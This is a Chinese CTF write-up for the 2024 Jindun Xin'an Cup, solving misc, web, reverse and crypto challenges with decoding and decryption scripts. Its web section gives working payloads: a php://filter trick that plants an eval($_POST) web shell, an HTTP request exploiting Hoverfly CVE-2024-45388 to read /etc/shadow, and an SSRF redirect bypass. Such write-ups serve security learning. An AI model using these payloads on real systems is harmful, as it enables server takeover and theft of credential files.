2024-金盾信安杯线上赛 WP

Misc

大赛宗旨

记事本打开,一眼零宽隐写

B 神工具一把梭,得到一串 base 编码

base64 解码得到 flag

flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}

esab

根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下给出的字符串

然后解 base,和今年御网杯那道题类似,使用特定的网站解 base62

得到一串 base64 编码的文本,使用工具 basecrack 尝试一把梭

解了一个 base64 和一个 base91,得到的文本又像是 base62,再次 base62 解码,得到 flag

flag 值:flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}

ezpng

将 password.txt 的内容放入 cyberchef 解密,得到一个密码 cimbar

flag.png 放入 010 查看,发现文件头尾都不对,尝试发现是异或得到的字符串 cimbar

使用 cyberchef 把图片异或回去,得到一张正常的 png 文件

网上找到一个项目,提取出 cimbar 图片里隐藏的文本,项目地址如下

复制代码
https://github.com/sz3/cimbar

下载下来,将图片放到同一目录,使用如下命令,即可得到 flag

复制代码
python -m cimbar.cimbar 111.png -o myoutputfile.txt

flag 值:flag{c06ff653-d96e-4c59-9667-655a8a18862e}

so far so good

谷歌搜索,发现是国外某比赛的原题,赛名 OliCyber.IT 2024,wp 如下:

复制代码
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md

利用 wp 上给出的脚本,有些地方不适配,稍微修改下脚本,运行得到 flag,脚本如下:

复制代码
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sys

KEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFF

streams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")

for p in cap:
    try:
        i = int(p.tcp.stream)
        streams[i] += bytes.fromhex(p.data.data)
    except:
        pass
cap.close()

stream = streams[0]

kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')


def read():
    global stream
    s = stream[0]
    stream = stream[1:]
    return s


class Message():
    def __init__(self) -> None:
        self.code = None
        self.param = None
        self.len = None
        self.data = None

    def read(self):
        self.code = read()
        self.param = read()
        self.len = read()
        self.data = []
        for i in range(self.len):
            self.data.append(read())

    def handle(self):
        global KEY, IV, cipher, keyset, nonceset, cipherset
        if self.code == KEYSET:
            for i in range(32):
                KEY[i] = self.data[i]
            keyset = True
            cipherset = False
        elif self.code == NONCESET:
            for i in range(8):
                IV[i] = self.data[i]
            nonceset = True
            cipherset = False
        elif self.code == STORE:
            if not keyset or not nonceset:
                return
            if not cipherset:
                cipherset = True
                cipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))
            dec = cipher.decrypt(bytes(self.data))
            for i in range(self.len):
                FLAG[10 * self.param + i] = dec[i]
            if -1 not in FLAG:
                print(bytes(FLAG))
                return True
        elif self.code == RESET:
            KEY = [0] * 32
            IV = [0] * 8
            keyset = False
            nonceset = False
            cipherset = False


_stream = stream[:]
for ki in kidxs:
    for ni in nidxs:
        if ki > ni:
            continue

        print('key index:', ki, '\tnonce index:', ni)

        KEY = [-1] * 32
        IV = [-1] * 8
        FLAG = [-1] * 40
        keyset = False
        nonceset = False
        cipherset = False
        cipher = None

        try:
            stream = stream[ki:]
            m = Message()
            m.read()
            m.handle()

            stream = stream[ni - ki - 35:]
            m = Message()
            m.read()
            m.handle()

            while len(stream) > 0:
                ni = stream.index(NONCESET) if NONCESET in stream else 99999
                si = stream.index(STORE) if STORE in stream else 99999
                next_idx = min([ni, si])
                stream = stream[next_idx:]
                m = Message()
                m.read()
                if m.handle():
                    break
        except:
            print('Exception')
            pass
        stream = _stream[:]

运行结果如图所示,得到 flag

flag 值:flag{0h_usb_0v3r_1p_i5_s0_c00l_567c08e6}

Web

fillllll_put

源码如下:

复制代码
<?php
  highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
  $content=$_GET['content'];
  file_put_contents($filename,'<?php exit();'.$content);

} 

经典的伪协议绕过死亡 exit(),网上有很多参考文章

payload 如下:

复制代码
?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

访问 shell.php,成功解析

使用蚁剑连接一句话木马,连接成功

根目录没有,在根目录下的/tmp 目录翻到 flag.txt

flag 值:flag{89166828-7120-42be-966c-820fc46d74a6}

hoverfly

打开是一个 Hoverfly 的界面

网上找到一个 CVE,Hoverfly 任意文件读取漏洞(CVE-2024-45388),复现文章如下:

复制代码
https://blog.csdn.net/qq_38154820/article/details/142891049

burp 抓包,修改数据包如下:

复制代码
PUT /api/v2/simulation HTTP/1.1
Host: 114.55.67.167:50463
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

成功读取 /etc/passwd,可以读取任意文件

翻遍了没找到哪里有 flag,var/log/syslog 记录了系统级别的日志信息,包括系统启动、服务启动和停止、内核消息、硬件错误、软件错误等,在日志里得到提示 see see /tmp/fa1g

访问 /tmp/fa1g 文件得到 flag

flag 值:flag{57a4de14-9151-4554-b36a-b12dfc79c2d3}

ssrf

进入页面,提示查询网站,根据题目名字 ssrf 知道肯定是读内网文件

先扫一下有什么文件,发现 flag.php

直接读取 127.0.0.1 下的 flag.php,提示无效的 url

可以使用域名重定向绕过,找到如下域名,测试可以绕过

复制代码
http://wifi.aliyun.com/flag.php

成功读取到 flag

flag 值:flag{980a8f2f-00c6-4e60-8468-9b44a948df44}

Reverse

babyre

首先通过 sub_401050 提示输入flag,并通过 sub_4010C0 读取最多32字节的输入到 v23。

输入被分为两部分:前16字节存储到 v26。后16字节存储到 v24。

前16字节解码:

使用硬编码目标值 v6 的前四组数据作为目标(共4个整数)。

对解密后的数据还原高低位交换(调用 sub_401130 的逆向逻辑)。

TEA加密逆向:根据代码分析 sub_4012B0 是TEA加密的部分,需要实现解密逻辑。

脚本如下:

复制代码
#include <stdio.h>
#include <stdint.h>

// TEA解密函数
void decrypt(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x61C88647; // Delta常量
uint32_t sum = 0 - 32 * delta; // 初始化sum
uint32_t v0 = v[0], v1 = v[1];

for (int i = 0; i < 32; i++) {
  v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ ((v0 << 4) + key[2]);
  v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ ((v1 << 4) + key[0]);
  sum += delta;
  }

  v[0] = v0;
  v[1] = v1;
  }

  int main() {
  // 密钥
  uint32_t key[4] = {
  0x00001266, 0x00003404, 0x0000562A, 0x000078C2
  };

  // 密文
  uint32_t enc[4] = {
  0x369A1583, 0x009A9E6D, 0xBE761C60, 0x3ED644A0
  };

  // 对密文分块解密
  decrypt(enc, key);     // 解密前两部分
  decrypt(enc + 2, key); // 解密后两部分

  // 输出解密后的结果(大端序)
  printf("Flag: ");
  for (int i = 0; i < 4; i++) { // 遍历解密后的4个32位整数
    for (int j = 3; j >= 0; j--) { // 大端序输出每个字节(高位字节在前)
      printf("%c", (enc[i] >> (8 * j)) & 0xFF);
      }
      }
      printf("\n");

      return 0;
      }

后16字节解码:

从目标值 v6 的后四组数据中提取目标(共4个整数)。

高低位交换逆向:调用 sub_401130 的逆向逻辑。

凯撒密码逆向:对替换的字符使用偏移量为 -3 的逆操作。

解密脚本如下:

复制代码
def reverse_byte_order(data):
    """高低位交换"""
    return [
        ((x >> 24) & 0xFF) | ((x >> 8) & 0xFF00) |
        ((x & 0xFF00) << 8) | ((x & 0xFF) << 24)
        for x in data
    ]

def reverse_caesar_cipher(data, shift=3):
    """逆凯撒密码,shift是偏移量"""
    result = []
    for ch in data:
        if 'A' <= ch <= 'Z':
            result.append(chr((ord(ch) - shift - 65) % 26 + 65))
        elif 'a' <= ch <= 'z':
            result.append(chr((ord(ch) - shift - 97) % 26 + 97))
        else:
            result.append(ch)
    return ''.join(result)

# 硬编码的目标数据
v6 = [
    916067715, 10133101, -1099555744, 1054229664,
    1685154385, 1816750188, 1416384356, 1814110589
]

v19 = v6[4:]
v19 = reverse_byte_order(v19)
cipher2 = ''.join([chr((x >> (8 * i)) & 0xFF) for x in v19 for i in range(4)])
plain2 = reverse_caesar_cipher(cipher2)

print(plain2)

两端 flag 都已经拿到了,直接拼接两段,得到完整 flag

flag 值:flag{ZhuangBiWoRangNiFeiQiLai!!}

Crypto

Ezrsa

复制代码
from Crypto.Util.number import *
from Crypto.Util.Padding import *

def generate_prime(bits=512):
    return getPrime(bits)
def generate_rsa_key(bits=512, e=9):
    while True:
        p, q = generate_prime(bits), generate_prime(bits)
        n = p * q
        if GCD((p-1)*(q-1), e) == 1:
            d = inverse(e, (p-1)*(q-1))
            return n, e, d
def encrypt_message(message, e, n):
    return pow(message, e, n)
def decrypt_message(ciphertext, d, n):
    return pow(ciphertext, d, n)
def main(flag_text=b"flag{*******************}", num_keys=9, bits=512, e=9):
    FLAG = bytes_to_long(pad(flag_text, 64))
    n_list = []
    c_list = []
    for i in range(num_keys):
        n, e, d = generate_rsa_key(bits, e)
        n_list.append(n)
        c = encrypt_message(FLAG, e, n)
        c_list.append(c)
        assert decrypt_message(c, d, n) == FLAG
    print("n_list:", n_list)
    print("c_list:", c_list)

if __name__ == "__main__":
    main()

看到e=9,以及九组密文c和模数n,挨个爆破

Ci=pow(m,e,Ni) i=1,2,3,....,9

对list_n和list_c遍历爆破

脚本如下:

复制代码
import gmpy2
import math
from Crypto.Util.number import long_to_bytes


def merge(a1, n1, a2, n2):
    d = math.gcd(n1, n2)
    c = a2 - a1

    if c % d != 0:
        return 0

    c = (c % n2 + n2) % n2
    c = c // d
    n1 = n1 // d
    n2 = n2 // d
    c *= gmpy2.invert(n1, n2)
    c %= n2
    c *= n1 * d
    c += a1

    global n3
    global a3
    n3 = n1 * n2 * d
    a3 = (c % n3 + n3) % n3

    return 1


def exCRT(a, n):
    a1 = a[0]
    n1 = n[0]
    le = len(a)

    for i in range(1, le):
        a2 = a[i]
        n2 = n[i]

        if not merge(a1, n1, a2, n2):
            return -1

        a1 = a3
        n1 = n3

    global mod
    mod = n1

    return (a1 % n1 + n1) % n1


def exCRT_getequation(a, n):
    a1 = a[0]
    n1 = n[0]
    le = len(a)

    for i in range(1, le):
        a2 = a[i]
        n2 = n[i]

        if not merge(a1, n1, a2, n2):
            return -1

        a1 = a3
        n1 = n3

    return (a1, n1)


# 示例数据
n = [...]  # 请替换为实际的n值
c = [...]  # 请替换为实际的c值

m9 = exCRT(c, n)
m = gmpy2.iroot(m9, 9)[0]
print(long_to_bytes(m))

flag 值:flag{25f028f3-5362-4d1d-ab16-ae65503e447f}

Madoka Runes

搜索题目,发现图形加密方式,魔女文字,对比得到压缩包密码ctf951zhen,从而得到flag

flag 值:flag{f393e6c7-b150-6ecd-0458-c8f38363cb3e}

相关推荐
程序员秘密基地30 分钟前
基于pycharm,python,flask,sklearn,orm,mysql,在线深度学习sql语句检测系统
python·web安全·机器学习·网络安全·scikit-learn
炎码工坊4 小时前
云原生安全之PaaS:从基础到实践的技术指南
运维·安全·网络安全·云原生·运维开发
仙袂拂月5 小时前
Day 0017:Web漏洞扫描(OpenVAS)解析
笔记·安全·网络安全·学习方法·kali
Alfadi联盟 萧瑶5 小时前
服务攻防矩阵
网络安全
禾木KG10 小时前
网络安全-等级保护(等保) 2-0 等级保护制度现行技术标准
网络安全
Johny_Zhao16 小时前
Nmap 从入门到精通:详细指南
linux·网络·网络安全·信息安全·云计算·shell·nmap·yum源·系统运维·itsm
PrDarcyLuo1 天前
【IEEE会议推荐】第五届区块链技术与信息安全国际会议
人工智能·安全·网络安全·区块链·信息与通信
0xCC说逆向1 天前
Windows逆向工程提升之IMAGE_EXPORT_DIRECTORY
开发语言·数据结构·windows·安全·网络安全·pe结构·逆向工程
胡耀超1 天前
从逻辑视角学习信息论:概念框架与实践指南
学习·安全·网络安全·信息与通信·数据科学·信息论
禾木KG2 天前
网络安全-等级保护(等保) 3-1 GB/T 28448-2019 《信息安全技术 网络安全等级保护测评要求》-2019-05-10发布【现行】
网络安全